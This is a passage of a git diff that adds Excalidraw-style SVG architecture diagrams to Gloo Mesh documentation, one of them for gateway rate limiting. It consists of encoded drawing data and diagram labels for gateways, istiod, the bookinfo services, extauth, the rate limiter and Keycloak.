3lx1MDAwM5F90mlccsr/odnKJ1x1MDAwNjU1uXzrT5p72IVkXHUwMDAzhV5lPffYfLy9XHUwMDFmi3ZIVOvtPdB9QGVZK6LBXHJ+XHUwMDFhPVx1MDAxNiOXKIL7nT3QvWe3oeGkVuom79qJZOi18JIliT3Q/WiEea5cdTAwMTLTRZLJKDaMdVx1MDAwYumHy7/ulP3lZNd2YnC84Zzsikb4rlx1MDAwNmbIPcCukWmqrLX/XHUwMDAwu/c2XHUwMDA314rAXrBESYv4giVfNFpFmlx1MDAwNvOanHzvZz9cIu1u9yxZXHUwMDFk1r/c+b5cdTAwMDZ+L9tcdTAwMTCLXHUwMDBi9eRUb1x1MDAxM0K4et+l1sRcdTAwMTRJ+ne+P1x1MDAxNIvR1sPjXbjVKCQ+8lx1MDAxNTmYJtxcdTAwMTJBj8OE4FxcWZRcbjN6xkyF4lx1MDAxZfXZu6R3bzeRXHUwMDEwc1MyLr6vg4qXgnx7ZoMyfVx1MDAxM8/pXHUwMDA0L1xmrvNj9fRQ2V3vniyIg27vcZE9VDbMce3CX052XHUwMDFkcHa+YVx1MDAwMIGze9aKxkhxpZX/klxm710+TtzMJbeUL138RbiZSipcdNf45H0/+1x1MDAxMVx1MDAxYo5cdTAwMWHdL1x1MDAwN81rXHUwMDAw5zJoni9yK1x1MDAwZVXatY1cdTAwMTlYc4ovVJuv49B+j7xcdTAwMTVHN7VcdTAwMWFl753Xh5dmLZ9NXHUwMDA1n0NcdTAwMTmyyCeDyuXkcUp8xsd2zSuztYv7ZFC6WjhFXHUwMDA0UkjY5yZcdTAwMDVcdFwiN5qPz/FcdTAwMGKaXHUwMDFj11x1MDAwYvH4MN3IVSdcdTAwMWY+/Z9cdTAwMDdQWo7877uVWaJaq3acmd9cdTAwMTbi+JpcdTAwMDKRX2vZTlx1MDAwYkv3bDTFXHUwMDE4aFx1MDAxZbqB++riLta9XHUwMDFmJvP0OTZ4KEyS15VK5yHoTK4lsDFFnFFMJLdHqGYty7T12YbA+I3ITlE1TyaXXHUwMDBlVc+rTC5hlSCLvjFcdTAwMDbuxeO1WjXe7tbUeyf9UIhHUIhccoqFI+XxcLux8Jy+k8d/rcWTx93bXHUwMDEyMuHeuVx1MDAxZkkz7ZBz/5Fz72dcdTAwMWNIt5eWWFnIaHDCkGR4XHUwMDExajNpSa2FRphcIkK0PlDgnJi2TUJqjjEmWFx0h1l70jJcco2BuZXGIJb0KvczJFx1MDAxMD1kXHUwMDFm/yC07HLrXHUwMDAw6K1fzuxcdTAwMDP1MFx1MDAwNyykuTRAlSAubEMtf4/xZFx1MDAxNlx1MDAxMURQ07JSgcWpVyfq/Vx1MDAxOd3CQu4nz1xcK2duTu9cdTAwMWb7zy397e7zfYBcdTAwMTG1XHUwMDAy29O/mV/OReLssYMvp+eT6Vx1MDAxNX+/yMtQOuCSXHUwMDA3XHUwMDBibdH5tdxcdTAwMWVQMFx1MDAwYpteKlxmXHUwMDA0XHUwMDEwx2w5XHL/W+tPqTJz11kwU3au81x1MDAxM31dIFx1MDAxZpWHUHFcdTAwMTB/XHUwMDFmXGKUyyedkcbJ4b453Vx1MDAwM23viexcdTAwMDH9+IdK2Dmu3f3Lya6LXHUwMDBmON9wTnZFbn9bWStzXHJcdTAwMTCYbFx1MDAxMkrsfb3XIVx1MDAwN+9tXHUwMDBlqmdcdTAwMDK22lx1MDAwYjsobIl9YYd9XHUwMDA0XGJcdTAwMThAbXXQlunHXHUwMDEzILipTsvtbrH1pfGBNfh42anwucatXHUwMDE4VCnX7sCYajN3x1x1MDAxZbNaXHUwMDFiwcuV+5NcdTAwMTd880xeUlx1MDAxMXbdKsdKmaugM6jiXFxbkpn/XHUwMDEwxolYdFx1MDAxZFx1MDAwMkdalFGMXHUwMDA1mKFaUnf+XHUwMDA0k4xcdTAwMTW9h1x1MDAxZHjyJ3FcdTAwMWF1suo6XHUwMDA0i0toiexcdTAwMWXdP45BN1x1MDAxZEZyNulcdTAwMGVa7rNIvtzRt7osT+Z09flcdTAwMTHM3dmTa1xyykNp/5Z3uJIuXGZeXHUwMDEy/Vx1MDAxZYsnesnktEWHz8KFPVx1MDAwM2J5KyGwpZFcdTAwMTlWqyiiarF3N0FcYphcdTAwMTMwXHUwMDA0XGIpqTTaiTldfX6Cm75voKm1olx1MDAxMjPt0P9cdTAwMTAjalx1MDAxMfiE4pLCnThSy2yLXHUwMDA1XHUwMDAxXHIv/7BuiL679Ls5XHUwMDAz5ViJ6XP9qaszmVx1MDAwMk4gXulG0zbEa3NcdTAwMDaCOlx1MDAxMlx1MDAxOGupiMlBnlx1MDAwZqU5+/RcdTAwMDViSynYYlx1MDAwMkBKKONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/platform/2-4/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHUwMDFh6OJGosdk2OVSXHQqQyGXiq6XS7wqiUwyLsHOXHUwMDBiMb38anOJe6tcdTAwMWHCXHUwMDE4LFx1MDAxN+zpwFt6XHUwMDFjf613O93P0uPb+On1Jnk7eVLt0G9pXHKblnuaS1x1MDAwNLOTIWpcdTAwMThYXHUwMDFhwYiS4+3vP4qocW9cdTAwMDcgVohrjvVcdTAwMDZcbuEy3Vx1MDAxZnfz5JO0p7J6XHUwMDE3zbTlZeb866RcdTAwMDdtJz1Czlx1MDAxNVx1MDAwMsOIXHUwMDAw/KNcdTAwMTUzhyNsXHRYXHUwMDBiXG5YQrDNrt+rs0FcbrYkXHUwMDFh1Ck91KZcIn6JXHUwMDBisDKNtCAh5mVfzXBs6Oew26VxnenghkctMcnd5Gtvpeig2468PyRu0X3onWdcdTAwMWFcZixcdTAwMWaCw4lcbkhwdtBcdTAwMDZcdTAwMTKhdeRcdTAwMDZg3on+SiuCjspu/iz09+FOSkmw91Rw6nTVKL7MxJ1s6MRLXCLXuojjXHUwMDFhR+FcdTAwMTdcdTAwMTaGfIRFXGJcdTAwMDLCglxiZZhpMFxyXHUwMDBlJSwuXFxcdPhcdTAwMTSyP6hDWjghSDN8qlx1MDAwNz6DWV5cdTAwMTfubtPnvbuXXCKKpj8liYXbeNbeh6VcdTAwMWHBXHUwMDA1JVxuTpV6XHUwMDE5rD+atzeX6VFvkG10su2rXHUwMDA3L0NjZdcvy8rqkeQh/cFcXPjIink1kJmhXHUwMDA0qeqyv6yUqqxUKblcdTAwMTAl4ElcdTAwMWVi8Vt0uJMnYSY16JZTNStcdTAwMWXJ3Vus/5BcdTAwMWFWWadK7rvN18vMvbuojKuf46DuKzlulEbVmVwiVy+N9kvnLVJ9oWxcdTAwMGZusfPXbFx1MDAxY2fY1aRXyuC7l7FOpz5cdTAwMDNcdTAwMWX2+I5b/iglZaJcdTAwMWJr5lx1MDAxYfRBpaa5Zvy8tIdxXHUwMDBmtLynMuzSu/9cdTAwMTP0glx1MDAwMWd7fX7zWqmTXHUwMDFiKbPpTPRmeH77xO6OjPJLX3RcdOC9T95cdTAwMTFcdTAwMTVcdTAwMTRcdTAwMTEpg5/5+d+nsPIhXCL8Ti3InFx1MDAwZlx1MDAwNcD4t/lje+8o5lx1MDAwYr32XHUwMDFi2JnN+P5cdTAwMDHsXHUwMDFhWFx1MDAxOZFMLb5E6HB9q+272CW97vihMavOXHUwMDE54dJfL4qdRnu6dKPn+1x1MDAxYabU6NaGMLuzf7o1uOCkOLXfh1FcdTAwMTWuY8Zjy1x1MDAxZoy2XHUwMDFite5cdTAwMWNlYebV4ZJ8jFx1MDAxYuVi+/dcdTAwMWI6jUrFzpDKMJtcIow5vFxmwmx6w0at0S22cyuT/TXV7flcdTAwMTmnnvyMIMok3Yig6dlnKjV+LrNYPlp7zFx1MDAwYlx1MDAxMbnGXHUwMDE3oSdozEd4KSdhJWhcdTAwMWE+xpBgJ2r4x4r319ep1n3zY9zq527eZt1oK/nNz/bFz1x1MDAwZbS8XHUwMDA3XHUwMDFhXHUwMDE2P3XLovz0WmpWn+MomszG0OTmXHUwMDBmWoV1dNL9gkekfaBcdTAwMTY8aZ/x+2jG1VwiJGKd3vBfz9DSPu7nM6Y8oM/4i2hcdTAwMWbcXHUwMDE0pDhjPMSuryPwvmpxNJ5UR+MjXHUwMDExvzWMaZX4/Z7t7sxPXHUwMDEyz0NcdTAwMWZKlUSMsOB223v5Y1bPXHUwMDBle/f1z+vzaVxcfSQvenfbXHUwMDEwv69MYiDSXHUwMDAyy00jJs3zSlx1MDAxMoM2Rz5CYVx1MDAwNK8jwYmn+Fx1MDAwNohp2TPxkzApLNmpXHUwMDEyv9xzanBcdTAwMTNcdTAwMTOMPsUuyqPsXHKajaVHuPQ38dt83Fx1MDAwMy3vaVxym8+83TevYrpcXLub5sb9x2TivrWP4MVTWYV1fNL9gkfkk9KWJraijaTWQjOJg7sh/JczpHRSSUr89Fx1MDAxMeOWWugjujKvXHUwMDAz00nikjnHQUdihL/p5JmNTjZG40av4kohsVxcevfeKORcdTAwMWHu5fBcdTAwMWT+mOFcdTAwMGXEkXqKKkaMaaxcdTAwMThcdC6rXT67ulTPXHUwMDFk9t69l+xa5Fx1MDAwNun7ariZoyZcdTAwMTJbwFx1MDAwZrnEXGaehV6RVIotJjUhyCQ9XHRvSVxywlx1MDAxYz2D37ZijopcdTAwMTAhXGJcdLPM+qnJXvWjnFx1MDAxOTy3ulElePdxwFx1MDAxYu1O7Js57os5XHUwMDFlaHlcdTAwMGY07JPOakVVrtkqXFxcdTAwMGZrapJ4XHUwMDFmTJp7WIVMXHUwMDAzRTqynn9sPt48fIh2RFTr7X1QR1SWtVwiXHUwMDFhpvHT+LGYTKAkXHUwMDFldPcwLmiLampYL8qPcT3XTJUu06+1yVx1MDAxZcatNK5l8iUu8q3Pu3YpLWPoc7KP3PJT2WXrKLT7XHUwMDA1j0mhhXdYOkVKcoF4cI+O/3qGlEODZlx1MDAxNr6aXHUwMDE5Xl1oZu/CXHUwMDE0X+WSXHUwMDE1SFxuTalcYrEn51xiXHUwMDFjOtnu9c4y1VH97J9usba0wF/gkV1DSFfp9GKyP6a6lehyW3GK1VN4pYVEXFxcdTAwMDVn1IOM6kdmLP6YXHUwMDFk5XPRUv/u4u1cIvTWL0acIItcIs1cdFXz52XRZZhYXFwrXCKklEjh1YnZXHUwMDAyhpVgRf+gYl/RJdylZoUtSOKX6FKmtVSan2h0ZEQkavft99uXq2lcbjVcdTAwMDaJ2WWWXHUwMDBlXHUwMDBlXHUwMDFmYuZcblxmaumvPsBQ6vVaje5b72zSXHUwMDFituBcdTAwMGWWq67IQPjSJ4Mjw7jX94KFpcmvYoDLvHxh4MeKuuCA8Fx1MDAwZaZjYLpJrUTwQ1X/W1x1MDAxY0rLXHUwMDFhUID6pVx1MDAxNjCOgp2pXHUwMDA2QFx1MDAwMW/TXHUwMDFhXHUwMDExi3AqsTa62Vx1MDAwNDE6XHUwMDAxXHUwMDAxrG+phVBcZmaJsKBO1c41wlx1MDAwNqqOXHUwMDE4ZXeQLDPbXHUwMDA1i8NxrNGtNLo1eG2BMb/qq11cdTAwMDbQRnOZL7/PXHUwMDEzXHUwMDExLc65YpQg+IFcdTAwMThb0DOzdsW+mZz1g9fNn1x1MDAwNaHs51x1MDAxYn5T+L+r3cpiSkvTbVx1MDAxN0fjeK/TaYzhi971XHUwMDFh3bHrXHUwMDE3ilx1MDAxYdGsV4tcdTAwMGWZh5Htr63KcN+MuHxrXHUwMDE3/3e22ObzX37////7j+u7I95b0DxcdTAwMWObbzHeX/afXHUwMDFih/Iyz8wmgpSpbMdwcPiZpLu1QWusb5KRWCxVTE1Sr555gOGBXHUwMDFm4lx1MDAxN1xmXGJcdTAwMTbU/pLCveCHMFx1MDAxN1x1MDAwMlwibefPv9JYXHSYMuqovrzDXHUwMDAyzE5cdTAwMTQh8jaEN4LQjv7pdoudqjdbXHUwMDEw29pcdTAwMTG7slx1MDAwNfcpbie5yjtcYl9zYTK0bedJ6yT3+v3hpZebfNLzyyhp3XTub1xu5WzoJZcyi3hKrqR0f1x0vJ6SS11Sdl0kV2lcZrMgLMTUwM90OFJcdTAwMGXinnDB3NBww4LbXGa3MydcdTAwMTTzPKmjQlxuXHUwMDA0XHUwMDBiXHUwMDFl3K3gn6hcdTAwMWRWVCDaUlx1MDAxNDilNpbFaplcboGoXHUwMDA1skgwplxuXHUwMDE4zm6Zyj5lKiyuNVx1MDAwM1x1MDAxY+bAsNRcdTAwMDJ7fmNcdTAwMDSyXHUwMDAwXGaQ5tpU1JCAXHUwMDBmzOlvYEJcdTAwMTOGhTyiv+FL7YlV8r3e0vAvPLFkaVx1MDAxMMpcdTAwMDXFXG7BfSVcdTAwMDSW3cXUIFx1MDAxNieSgurUXHUwMDA07DhBtMPWOC2LwmtcdTAwMTfOX3XZgFx1MDAxYtpcdTAwMTSeXHUwMDE4XHUwMDA0skVX/2yrl4AxXHUwMDE2KHi9XHUwMDA0f91cdTAwMTNiXHUwMDEwQmCqwepSym1cdTAwMDDwg5pcYmHNXHUwMDBiozJcIlx1MDAwNJViZWKHXHUwMDAxIeJcdTAwMTIugCxNqIQ9QFx1MDAxMFx1MDAxM8bn7FJpXG5LXHUwMDEwXG6N/1x1MDAxNFx1MDAxMPKCXHUwMDFhf4a8XHUwMDA0NaB5wIqXXHUwMDFjXHUwMDEzSkDLYNubfiBcclx1MDAwN9qKXGInZmm5RoI7gCZcdTAwMTD6+VdcdTAwMTJZnlx1MDAxMtGgS5CAO03nV3aBP5PQ+mtWgsDG/XfB32L/zz/v2PlcdTAwMWKin3dUoyf2SclcdTAwMDRQXHUwMDBmXHUwMDFk3KFcdTAwMTLNvk9uppPyTbl/XHUwMDE16949xarPuXj4z3VcdTAwMThFllx1MDAwMNSjXGLDM1ktS45h/1x1MDAwYqYpY4CAciePrv+5jlxmdK5DXHUwMDE43H9cdTAwMTLm3Ojf11xiT8Xw3Uyzn6kso7Cd6rjMa0tcbiRtqXCO+mpCKapcdTAwMDRcdTAwMGVcdTAwMWWZ4X+TQ8qBXHUwMDE4llx1MDAxNkZCSVx1MDAwNdqHO+rHmnKBpihcdTAwMWZXmOqdXHUwMDBld338qtSC11x1MDAxNDZcdTAwMTRcdTAwMTfBQIt7sjjWoVx1MDAxNiMwP6zAZMTOSrKAVlx1MDAxNDOQhn9bKdlNXHSQvy5aYlx1MDAxYtRoXXNcdTAwMTBcdTAwMDa2hamJ7eRcdTAwMWHU4rDiwDWIxkIsbI9cclx1MDAxOZB/146lOcFCXHUwMDEwLVx1MDAwNOdMUlx1MDAxM3cvnZMyflx1MDAwM/iHKUak2ZfOSZ1cdTAwMTRcdTAwMDHy3v3msbrvN6Q//lx1MDAxNcCUZ/lszsyNxzQ4XHUwMDA3evm4blHZfFx1MDAxZNZcdTAwMWFqNImwfjRyO9tcdTAwMDb7vrDAhCZ+R9qcc4uLPVx1MDAxNZhYjVvbLVpcXIDMUnKylSXzb1x1MDAxZqP7QrmVo+V0qV57+6xcXPJzdzJcdTAwMTSGaPFKNE/1c/FCZlx1MDAxZpql+udTK9uK4j2MXHUwMDFiyb+QcTNRr7d1XCLbYU/1SLr5vIdxXHUwMDBmtLynMuy68GD3XHUwMDBi7odv+4Kx51x1MDAxOSH3JKFcdTAwMDQsUWP0XHUwMDA098P5L2dIbVFAYu6HxJJaaE9IvC46eC1cdTAwMWE7XHUwMDEz7rRGpppcdTAwMWFcbrFpeoRY4f6wV3kvj/vFmrvVeKikuzVEZNWWtE9zeyrFbeuyakdcdTAwMDKp41x1MDAwMtuPoNfJcEadk97o4aFAO9Fr2U+Wk4VaIeRcXEr6VlNcdTAwMDXCsjdcdN43l9JYa4bViTbTavLI8G46eL14yETir9P4LYo+Xe+ulVx1MDAwZjTsqVG0YeWq2KjURrzycfvcLb7lL0k8v4dxT+uu7X3YdVx1MDAxNM39gkekaGBcZnviu1x1MDAwNuwzKVx1MDAwN8H9hP7rXHUwMDE5Vo4mfWupXG4t92Ytb1FcdTAwMDXB2eSNaMQ1U8dcZstcYiErq1SBK7VH7oxMLb19b4xsXHKdWWVkv6a4XHUwMDAzXHUwMDFik96NIEzHXHUwMDE0U2otuLRcdTAwMTYv6vnCW6qezLcj4/7g8l6Oz1x1MDAxMyFnY1x1MDAxYfuxMalFWNlcdTAwMTg2PZpcYlx1MDAwZXVccmQ/VXnZqqGXp0S1rKuVLo7HU8n77O3uXHUwMDFh+LSGPVx1MDAxNGs60HSnmVxcqn//XHUwMDExlZXojJdn/Wo53kuEd7p7XHUwMDFmdlx1MDAxZFx1MDAxYnO/4DHZmPfBhUlcdTAwMWUnXHUwMDAynoJcdTAwMDfV+69nWNlcdTAwMTiApFx1MDAwZsIrc3R3PDbmcJFRboJ3jppzXHUwMDE3QjI2LI5cdTAwMWLdmlx1MDAwN1x1MDAxOTuQe2xccptZJWO/prhcdTAwMGJcdTAwMTnzXHUwMDE0VoJAVo35XHUwMDE0WFajkW5iVFx1MDAxZF29Xd3NZIfHbkuFaMj7XGbBO1x1MDAxNPF1jeGwkjGCKeNcdTAwMTiJYzbK3qkn1/3N+02veTd9XHUwMDFhPMrhMHOXQii1u1x1MDAwMj6tYVx1MDAwZnXKeKDpXHUwMDFlioydyk1bR8bcL3hUMuZZIVx1MDAwNVx1MDAxM6w45WSD4kb+61x1MDAxOVIyZiDer1x1MDAwYrvQKlS+McVcdTAwMDTFjIe5Qsox2Fj1o1GdfK1rbFxyn3GwsZ9T9Fx1MDAxNVTvaFeCPZORKVVEYk2CS6r/kctGkrpawv2QZlx1MDAxM2dcdTAwMTahVJiIVlwi+UrMuyDS0lRLXHUwMDA2lFx1MDAwNzPhnfGzq6AqMM+o4JIzqeChXVwiXlx1MDAxObE0UlQjLDBR1EWKhaKIij8+4tX/wP9sXHUwMDExXWqS6YDOMoSYokJcdTAwMTg3ge1dv0NeqVx1MDAwNEGgmFx1MDAwYlhbKbdcZnn193kvT4pijIkh2rAmXG5rZ1x1MDAxY662XGJmXGZcdTAwMGKhXGJoXHUwMDEwgrBjTidcdTAwMTXx6rn5zcOx7Vx1MDAxN8P9Zf+5OfpR5Fx1MDAxZKPBTL1cdTAwMTbCZPCka39aXHUwMDFkUviDd1BtMYFN2lx1MDAwZlx1MDAxOHZO/NNcdTAwMTbWglJCTT+aw1x1MDAxMVx1MDAxNVx011GmjFx1MDAwZVwiSCGuXFxcbjlRYFRcdTAwMWFuXHRhap7qtlxufybaXHUwMDFmQJxcdTAwMWSzXHUwMDBi7mnhXHUwMDFmII2SsF5EK46ZXHUwMDEywpnyiJlcdTAwMDV3X4JcXFxuTTloy19cdTAwMTWMNoQ/f16zPCdgotLkmcHFXHUwMDE4odxtTkhSXHRcdTAwMTOGXHUwMDFiXHUwMDBlQsrIScOf59Y3j9VNvyH4+TvisGfKI+fmoFxc6uBO8+r1Ra1cdTAwMWGJ1qvDeP1ulC5l+iXa3Fx1MDAwZf6+spGDID6laEyFu0BmWpB8b0xKIEQuyIeQpe1cdTAwMGYn8mHiTG9cdTAwMTJg2lFgJCF2oP++houbxL9EydJcdTAwMWX+sr7J/sKiPb3WJvNcYuhcdTAwMGLaoN7jSy3zVOqpznDY+szN0qrSqVdOQFioj7BcYuNR/lx1MDAwMmFxilx1MDAwN8Cmly97QVxyNIBcdTAwMTk6JjXYyW99nDpOO0hcdTAwMGLxPuPBQCaw2qBjXectXCLKVd14jkX65etYbpAsXGanXHUwMDFl0lx1MDAxMpIzXHUwMDFljZhfjTPO5f5aXHUwMDE17zn6XHUwMDE57DDFTrZV8bvkr9Pi7Fx0yWd1+Vx1MDAxY1x1MDAxOSSK2WePtPowhCnXXHUwMDA3fFjv5MblQktdsWlCyN7Fy1x1MDAxZcbVlzf8XHUwMDAy38puO559b1RKOqVmelx1MDAwZuNcdTAwMWVoeVx1MDAwZjRs/la0k8n8q3y/7o1u84/qdVBcdTAwMWKGd1x1MDAxNVx1MDAxMjcvn1xixydZPVOvsenwTcZcbndhnO66Iyn3XHUwMDBifoFO8kyo8yZvXHUwMDE4g3GFXHRRwU1cdTAwMWT/9VxmKXtcdTAwMDONpP00kuTBqm5cdTAwMWUro05qjkmY85v/oIy6NYTsQFx1MDAxOXXc86yKmIJcdTAwMTVio1x1MDAxMpn9SfGxUL5cdTAwMTWXXHUwMDFmo8Jn467ULlx1MDAxNuz93cLIKZVSyM/+UmRvXHUwMDEyvPdcdTAwMThuhDTg7Kk6K1x1MDAxZadcdTAwMDPM6ST9VitcdTAwMGXksPM5io8vMrvr+1x1MDAwM1xye2pcXHVWT1eyhfdStHxXm5SGqWfZLVb2MO5p3bVTXHUwMDE5dlx1MDAxZPdzv+BcdTAwMTG5XHUwMDFm9y6mIKU5YeAkOPXzX86QUj9QXHUwMDFj3E9xaL03Z8ReXHUwMDEy9ajkSFx1MDAxY7ddQlxiyd4xXHUwMDEy9dawpP0n6lx07N1b3ESGmz4rgYU1Wbl7nUbTl4mbYaVCXHUwMDFhN/3ULXtcdDfHM1x1MDAxZMP9eiNoXHUwMDE1Wo7HNCWC4DDHXHUwMDEw+ilKPU28dC8nKZHNPlI56jxMR1FcdTAwMGbWtIn+Pa1hXHUwMDBmRcVOa1x1MDAxNU5l2HVUzP2CR6RiwjvcVCjK51x1MDAwN0OB0d1/OUNKxVx1MDAwMN/9qJjC/JhUzOl2XHUwMDEzSmiGvksm/NjeR8zSW8Nl9p+lJ5B3gVx1MDAxM06UiVx1MDAxN1xmzsRInYhp/fW1kb78aD7cqfveOOZVXHUwMDBmPSxMXGbk09fbXHUwMDE2sEvV1zMxPu+Tok/V2XY7TFRKY8Rue+lrVuk/9SeFaWl37Xtaw1x1MDAxZer89rRW4VB09FRWYVx1MDAxZMFzv+AxXHSed9VDQjmiSGxA8PyXM6xcdTAwMDSPYOxnwKOAXZG/iOBhrSjWUobZalx1MDAwZlvm34FcdTAwMTjeXHUwMDFhjrTnzD/q3epLK5NrXHUwMDEzPDzP/1xcKKSJL1x1MDAxYUlpmVaCXHUwMDAyXHUwMDExXHUwMDEzW79K7yiysPqavD9KwPblXHUwMDFj4Xk8t1Nq1+b9MUxcdTAwMDT8c8yQvVDkvfiHJZwt5/0xSVx1MDAxNDI5rlLAZlcuWSZ7Svzz96GfeSf+UezMRvz3Jf65737zOFxc4lx1MDAxZvM+ZVx1MDAxMCaOXHUwMDA0s1xyWjD7U/Wwwlx1MDAxZlx1MDAxNsSCjY+44oxrvlx1MDAxOOUn/GGLsa9J+6OmuYuCXHUwMDFkXHUwMDBmXHUwMDFiwFamMXDaXHUwMDFmXHUwMDEwLkVcdTAwMDRcdTAwMTf8iMeFp1x1MDAwNX+m0Vx1MDAwZtKEUMyIUlSgw6X9+ZOaM8+0P4b/hLQ/961vXHUwMDFlO6b9eUOfX2JcdTAwMDa8RkyDr8DQ52+fh1x1MDAxNfpcYqWwuJKB2GFMV1x1MDAxYpxJLi3OpeawXHUwMDFh0l7lee/QZ7az5lx1MDAxYWvYyYRLN3tccnaBqX5KXHUwMDE0XGJcdTAwMDZcdTAwMTA8XHUwMDA39nHAXHUwMDBlXHUwMDEwXHUwMDE5dMRyXFyhgL7AMFx1MDAwM1x1MDAxY4shZpRcdTAwMDXRoDRcdTAwMTDByKWjKlx1MDAwN3rImZFLwsBC+N1jdEPw8